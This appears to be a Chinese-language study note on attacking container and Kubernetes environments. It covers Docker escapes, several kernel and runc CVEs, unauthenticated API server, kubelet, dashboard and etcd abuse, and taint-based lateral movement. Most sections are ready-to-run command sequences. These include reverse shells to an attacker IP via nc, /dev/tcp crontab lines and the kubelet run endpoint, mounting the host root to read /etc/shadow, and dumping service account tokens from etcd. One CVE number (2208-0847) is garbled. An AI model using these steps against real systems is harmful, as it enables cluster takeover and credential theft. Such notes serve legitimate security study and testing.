https://wiki.teamssix.com/cloudnative/

20260313-2

https://blog.csdn.net/qq_23936389/article/details/131486643 判断是否在容器环境下

Docker 容器逃逸

特权模式逃逸

1
2
3
4
5
6
7
8
9
10
11
# 启动时给了特权模式(容器内进程拥有宿主机内核的所有能力)
docker run --privileged=true -it alpine

# 验证是否特权:
cat /proc/self/status | grep CapEff
# 如果输出全是f(如CapEff: ffffffffffffffff)= 特权模式

# 逃逸步骤(像操作宿主机一样):
fdisk -l # 查看宿主机磁盘
mkdir /host && mount /dev/vda1 /host # 挂载宿主机根目录
chroot /host # "切换根目录"到宿主机

危险挂载逃逸

  • 挂载 Docker Socket(/var/run/docker.sock
1
2
3
4
5
6
7
8
9
10
11
# 启动时使用了宿主机的Docker控制台
docker run -v /var/run/docker.sock:/var/run/docker.sock ubuntu

# 验证:
ls -l /var/run/docker.sock # 能看到这个文件

# 逃逸步骤:
1. 在容器内安装docker客户端
2. 用该客户端控制宿主机的Docker引擎
3. 启动一个新容器,把宿主机根目录挂载进来:
docker run -v /:/host -it ubuntu chroot /host
  • 挂载 /proc 文件系统(核心模式逃逸)

/proc Linux 中的虚拟文件系统,用来暴露内核状态、进程信息、系统硬件及运行参数等信息。

核心是利用 Docker 错误挂载了宿主机 /proc 目录,通过修改宿主机的 core_pattern 实现程序崩溃时自动执行宿主机命令,从而拿到宿主机权限。

1
2
3
4
5
6
7
8
9
10
# 启动时挂载了内核参数接口
docker run -v /proc/sys/kernel/core_pattern:/host_proc ubuntu

# 逃逸原理:
1. core_pattern 控制程序崩溃时的行为
2. 攻击者把它改成"执行我的恶意脚本"
echo "|nc 攻击者IP 端口 -e /bin/bash" > /host_proc
3. 故意让程序崩溃 → 触发脚本执行 → 拿到宿主机shell
sleep 10 & kill -SIGSEGV $!
# int main(){*(int*)0=0;}

挂载 /etc/var/log 目录等,以及运行时赋予了特殊的能力 CAP_SYS_ADMINdocker run --cap-add=SYS_ADMIN ...

Docker API 未授权访问

当 Docker 守护进程被配置为监听网络端口(通常是 TCP 端口 2375)且未启用适当的身份验证机制时,攻击者可以未经授权访问 Docker API。利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。

利用 Docker/内核漏洞

Docker 引擎自身漏洞,runC、containerd 等组件缺陷;Linux 内核漏洞,容器共享宿主机内核,内核提权;

  • CVE-2019-5736:runC 容器逃逸

宿主机将自己(/usr/bin/runc)以只读方式挂载进容器内部,容器里的 /proc/self/exe 就是宿主机真实的 runC,将其删除,写入恶意程序(虽然是只读,但不受删除限制,删除后重写新文件即可),当容器再次启动就会执行。

runC <= 1.0-rc6、Docker < 18.09.2

  • CVE-2022-0492 (cgroup 释放后重用)

内核 cgroup 释放后重用 → 直接篡改权限 → 秒变宿主机 root

内核给某个功能分配一块内存,用完后释放,但没有把指针清空,攻击者立刻抢占这块内存,伪造数据骗过内核,获得最高权限。(宿主机 Linux 内核<5.17.4,宿主机用 cgroup v1,容器有 CAP_SYS_ADMIN 权限)

  • CVE-2021-25741 (symbolic link 逃逸)

Docker 挂载时符号链接劫持 + 竞态条件 → 把宿主机根目录映射进容器 → 完全控制

Docker<20.10.9

  • CVE-2021-30465(runc 挂载竞争条件逃逸)

利用 runc 创建容器时的 “时间差漏洞”,把宿主机根目录 / 挂载进容器,实现完全逃逸。

runc 创建容器,先准备根文件系统,再检查挂载路径是否安全,最后执行挂载;利用检查和挂载不是同时完成,中间的时间差,攻击准备一个目录,不停切换正常目录和指定宿主机 / 的软链接,使其检查时为正常目录挂载时却是 / 目录。

runc ≤ 1.0.0-rc95、Docker < 20.10.6、Kubernetes 旧版本

  • CVE-2208-0847 DirtyPipe(脏管道)

Pipe(管道)进程之间传数据用的内存缓存区,Page Cache(页高速缓存)内核把文件内容读到内存中,加速读写。

内核在处理管道 + 页缓存时,用管道读一个只读文件,让数据进入页缓存,再往管道里写数据;内核会错误地把管道的数据直接写到文件的 Page Cache 中,不会进行权限检测,可以往里面写内容,无视文件权限。

5.8 ≤ Linux 内核 < 5.16.11 / 5.15.25 / 5.10.102

K8S 集群

https://blog.csdn.net/qq_34101364/article/details/122506768

Kubernetes 用于编排云平台中多个主机上的容器化的应用,自主的管理容器。

20260314

20260314-2

核心组成

Master 终端、Node 节点、Pod 业务

1
2
3
4
5
6
7
etcd 	保存整个集群的状态
API Server 资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制
Controller Manager 负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
Scheduler 负责资源的调度,按照预定的调度策略将 Pod 调度到相应的机器上
Kubelet 负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理
Container Runtime 负责镜像管理以及 Pod 和容器的真正运行(CRI)
Kube-proxy 负责为 Service 提供 Cluster 内部的服务发现和负载均衡

20260314-1

20260314-3

API Server 未授权访问

旧版本的 k8s 的 API Server 默认会开启两个端口:8080 和 6443。6443 是安全端口使用 TLS 加密需要认证;但是 8080 端口无需认证,仅用于测试。(k8s<1.16.0)新版本已不开启 8080 端口。

利用条件:

1
2
3
4
K8s 版本<1.20
配置文件 /etc/kubernetes/manifests/kube-apiserver.yaml 中包含:
--insecure-port=8080
--insecure-bind-address=0.0.0.0 # 允许任意IP访问

复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 查看集群节点
kubectl.exe -s xxx.xxx.xxx.xxx:8080 get nodes
# 查看有哪些运行的容器
kubectl.exe -s xxx.xxx.xxx.xxx:8080 get pods
# 创建恶意 Pod
# test.yaml 内容示例:
cat > test.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: test
image: nginx:1.14.2
volumeMounts:
- mountPath: /host
name: host
volumes:
- name: host
hostPath:
path: / # 挂载宿主机根目录
type: Directory
EOF

kubectl -s xxx.xxx.xxx.xxx:8080 create -f test.yaml
# 进入容器执行命令
kubectl -s xxx.xxx.xxx.xxx:8080 --namespace=default exec -it test bash
# 写入反弹 Shell
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab

6443 端口未授权访问(匿名认证滥用)

1
2
3
4
# 把"匿名用户"绑定到"超级管理员"角色
kubectl create clusterrolebinding system:anonymous \
--clusterrole=cluster-admin \
--user=system:anonymous

复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 通过 HTTPS 创建恶意 Pod -k 表示忽略证书验证
curl -k -X POST https://xxx.xxx.xxx.xxx:6443/api/v1/namespaces/default/pods/ \
-H "Content-Type: application/json" \
-d '{
"apiVersion":"v1",
"kind":"Pod",
"metadata":{"name":"test02"},
"spec":{
"containers":[{
"name":"test02",
"image":"nginx:1.14.2",
"volumeMounts":[{"mountPath":"/host","name":"host"}]
}],
"volumes":[{
"name":"host",
"hostPath":{"path":"/","type":"Directory"} # 再次挂载宿主机根目录
}]
}
}'
# 验证 Pod 是否创建成功
kubectl --insecure-skip-tls-verify -s https://xxx.xxx.xxx.xxx:6443 get pods
# 进入容器
kubectl --insecure-skip-tls-verify -s https://xxx.xxx.xxx.xxx:6443 \
--namespace=default exec -it test02 bash
# 写入 crontab 反弹 Shell 等

Kubelet 10250 端口未授权访问

1
2
3
4
5
6
# 配置
authentication:
anonymous:
enabled: true # 允许匿名访问
authorization:
mode: AlwaysAllow # 所有请求都放行

复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 查看目标节点上运行的 Pod 列表
curl -k https://192.168.139.132:10250/pods
# 或
curl -k https://192.168.139.132:10250/runningpods/

# 找到可攻击的目标(比如系统组件)
# 返回结果中找:namespace, pod名, container名
# 例如:kube-system / kube-scheduler-master / kube-scheduler

# 执行命令的通用格式:
curl -XPOST -k "https://<节点IP>:10250/run/<namespace>/<pod>/<container>" -d "cmd=<命令>"

# 实际利用示例:
# 先测试能否执行
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"

# 如果成功,返回类似:
# uid=0(root) gid=0(root) groups=0(root)

# 反弹 Shell(注意 URL 编码)
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" \
-d "cmd=bash -i >& /dev/tcp/192.168.139.128/4444 0>&1"

Dashboard 未授权访问

K8s 的图形化管理后台,若开启了 --enable-skip-login 登录跳过;或绑定了 cluster-admin 角色,导致权限过大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 查看是否运行正常
kubectl get pod,svc -n kubernetes-dashboard
# 正常输出示例:
# NAME READY STATUS RESTARTS AGE
# pod/kubernetes-dashboard-xxx 1/1 Running 0 5m
# NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
# service/kubernetes-dashboard ClusterIP 10.x.x.x <none> 443/TCP 5m

# 暴露 Dashboard 到外部
# 方式1:kubectl proxy(本地访问)
kubectl proxy
# 访问:http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

# 方式2:NodePort/LoadBalancer(外部访问)
# 利用:创建恶意 Pod(挂载宿主机根目录)
# test.yaml
cat > test.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- name: test
image: nginx
volumeMounts:
- mountPath: /mnt # 容器内的 /mnt 目录
name: test-volume
volumes:
- name: test-volume
hostPath:
path: / # 宿主机的根目录
type: Directory
EOF
# 通过 Dashboard 网页上传 YAML,或用 kubectl 创建:
kubectl apply -f test.yaml
# 进入容器执行命令
kubectl exec -it test bash
# 然后就可以:
# - 读取 /mnt/etc/shadow(宿主机密码文件)
# - 写入 /mnt/etc/crontab(定时任务反弹 Shell)

kubectl proxy 不安全配置

将原本安全的 API Server(6443),代理到了本地,并且暴露到了公网

1
2
3
4
5
# 以下配置会让 proxy 监听所有网卡,且接受任意主机名请求
kubectl proxy \
--accept-hosts='^.*$' \ # 接受任何 Host 头
--address=0.0.0.0 \ # 监听所有 IP
--port=8009 # 代理到 8009 端口
1
2
3
4
5
6
7
8
9
# 攻击者发现 8009 端口开放
# 直接当作"免认证的 API Server"使用:
# 查看节点
curl http://xxx.xxx.xxx.xxx:8009/api/v1/nodes
# 查看 Pods(包括 kube-system 系统命名空间)
kubectl -s http://xxx.xxx.xxx.xxx:8009 get pods -n kube-system
# 创建恶意 Pod(和前面一样,挂载宿主机)
kubectl -s http://xxx.xxx.xxx.xxx:8009 apply -f test.yaml
# 后续利用

kubeconfig 配置文件泄漏

1
2
3
4
可能的位置:
- 命令行参数:--kubeconfig=/path/to/config
- 环境变量:$KUBECONFIG
- 默认路径:~/.kube/config

etcd 未授权访问(2379 端口)

常见暴露场景

1
2
完全未授权:没开--client-cert-auth,且监听0.0.0.0
本地免认真:对本地127.0.0.1:2379免认证,需配合SSRF/命令执行,先拿到服务器权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# etcd v2版本
# 直接 HTTP 请求,递归获取所有键值对
curl http://xxx.xxx.xxx.xxx:2379/v2/keys/?recursive=true
# 返回结果中包含:
# - /registry/secrets/... # 各种密码、Token
# - /registry/serviceaccounts/... # 服务账户凭证

# etcd v3版本
# 下载 etcdctl 工具(和 etcd 版本匹配)
# 连接测试
./etcdctl --endpoints=xxx.xxx.xxx.xxx:2379 \
get / --prefix --keys-only | head

# 查找 Secrets
./etcdctl --endpoints=xxx.xxx.xxx.xxx:2379 \
get / --prefix --keys-only | grep "/secrets/"

# 读取具体的 ServiceAccount Token
./etcdctl --endpoints=xxx.xxx.xxx.xxx:2379 \
get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

# 返回结果中找 "token: eyJhbGciOiJSUzI1NiIs..." ← 这就是 JWT Token!

# 用 Token 冒充身份访问 API Server
kubectl --insecure-skip-tls-verify \
-s https://xxx.xxx.xxx.xxx:6443 \
--token="eyJhbGciOiJSUzI1NiIs..." \
get pods -n kube-system
# 创建 Pod → 挂载逃逸 → 接管集群

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

利用污点 Taint 横向移动

污点,简单理解为节点的一个标签,三种效果:NoSchedule 新的 Pod 绝对不调度过来,PreferNoSchedule 尽量不调度,实在没机器可以,NoExecute 新 Pod 和没有容忍的 Pod 都不能调度到此处。

攻击思路:利用上述漏洞逃逸到宿主机,再利用污点机制,将恶意 Pod 调度到 master 节点实现横向移动,利用泄露的 kubeconfig 文件,继续渗透其他节点。

1
2
3
4
# 查看节点污点
kubectl describe nodes master | grep Taints -A 5
# 输出示例:
# Taints: node-role.kubernetes.io/master:NoSchedule

创造 Payload.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
spec:
tolerations: # 添加容忍度
- key: node-role.kubernetes.io/master
operator: Exists # 只要存在这个污点就容忍
effect: NoSchedule
containers:
- name: control-master-x
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"] # 让Pod长期运行
volumeMounts:
- name: master
mountPath: /master # 再次挂载宿主机根目录
volumes:
- name: master
hostPath:
path: /
type: Directory

提交并验证

1
2
3
4
5
6
7
# 创建恶意Pod
./kubectl --server=... create -f ./payload.yaml
# 查看Pod是否成功调度到master节点
./kubectl --server=... get pods -o wide
# 如果 NODE 列显示 master,说明横向移动成功
# 进入Pod,读取master节点上的敏感文件
./kubectl --server=... exec control-master-x -- bash -c "cat /master/root/flag"

利用泄露的 config 文件

1
2
3
4
5
6
# 使用泄漏的config访问集群
./kubectl -s https://xxx.xxx.xxx.xxx:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
# 用这个身份创建恶意Pod(同前面的yaml)
./kubectl apply -f test.yaml -n default --kubeconfig=config
# 进入Pod执行命令
./kubectl -n default --kubeconfig=config exec demosec -- bash -c "ls /mnt/root"

K8s 污点横向移动:

https://cloud.tencent.com/developer/article/2422130

https://wiki.teamssix.com/cloudnative/kubernetes/k8s-horizontal-taints.html

容器环境检测方式: https://blog.csdn.net/qq_23936389/article/details/131467165

K8S 集群安全:

https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw

https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ


其他

20260313

堡垒机攻防 https://mp.weixin.qq.com/s/-WcgyVoTCZuPamVtI5MrJw
云堡垒机 https://blog.csdn.net/weixin_43025343/article/details/132537328
堡垒机漏洞 https://avd.aliyun.com/search?q=%E5%A0%A1%E5%9E%92%E6%9C%BA
设备安全 https://blog.csdn.net/sinat_35360663/article/details/127606875

ESXI VMware 的裸金属虚拟化,创建、运行和管理虚拟机;vCenter Server 集中管理平台,统一管控多态 ESXI 主机及上面的所有虚拟机。

VMware vCenter 靶场和 wp

https://blog.csdn.net/csdnmmd/article/details/149815810
https://mp.weixin.qq.com/s/IjcURvYxbvMvBXHbxCi4aA

vcenter 后渗透利用 https://forum.butian.net/share/1987

拿到 vCenter 后,对于里面的虚拟机进行克隆,并挂载一个自己存在后门的 iso 镜像文件,启动进入 BIOS,将 CD 作为启动项,得到 system 权限的终端,新建一个管理员用户进入系统。